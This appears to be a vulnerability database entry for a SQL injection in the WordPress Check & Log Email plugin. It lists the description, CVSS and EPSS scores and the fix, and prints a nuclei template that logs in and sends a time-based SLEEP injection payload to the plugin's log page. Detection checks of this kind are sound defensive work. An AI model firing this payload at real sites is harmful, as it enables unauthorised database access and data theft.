Browse / CVEs / CVE-2026-14554
CVE-2026-14554· checkemail / check-email· CWE-89
WordPress Check & Log Email < 2.0.15 - SQL Injection
mediumseverity
6.5CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it
The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.
Impact
Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
Fix
Update to version 2.0.15 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 20s
Positive when: status_code == 200 and contains(content_type, "text/html") and duration >= 6Run it with nuclei: nuclei -id CVE-2026-14554 -u <target>
The full check
id: CVE-2026-14554
info:
name: WordPress Check & Log Email < 2.0.15 - SQL Injection
author: anirbala98
severity: medium
description: |
The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.
impact: |
Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
remediation: |
Update to version 2.0.15 or later.
reference:
- https://wpscan.com/vulnerability/7b39bae3-41a2-4862-b7c3-1a386273d600/
- https://nvd.nist.gov/vuln/detail/CVE-2026-14554
- https://wordpress.org/plugins/check-email/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2026-14554
epss-score: 0.01411
epss-percentile: 0.72892
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: checkemail
product: check-email
framework: wordpress
fofa-query: body="/wp-content/plugins/check-email/"
tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,check-email,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
@timeout: 20s
GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20SLEEP(6)--%20- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- duration >= 6
condition: andReferences
- https://wpscan.com/vulnerability/7b39bae3-41a2-4862-b7c3-1a386273d600/
- https://nvd.nist.gov/vuln/detail/CVE-2026-14554
- https://wordpress.org/plugins/check-email/
Use this check only on systems you are authorised to test. Where the data comes from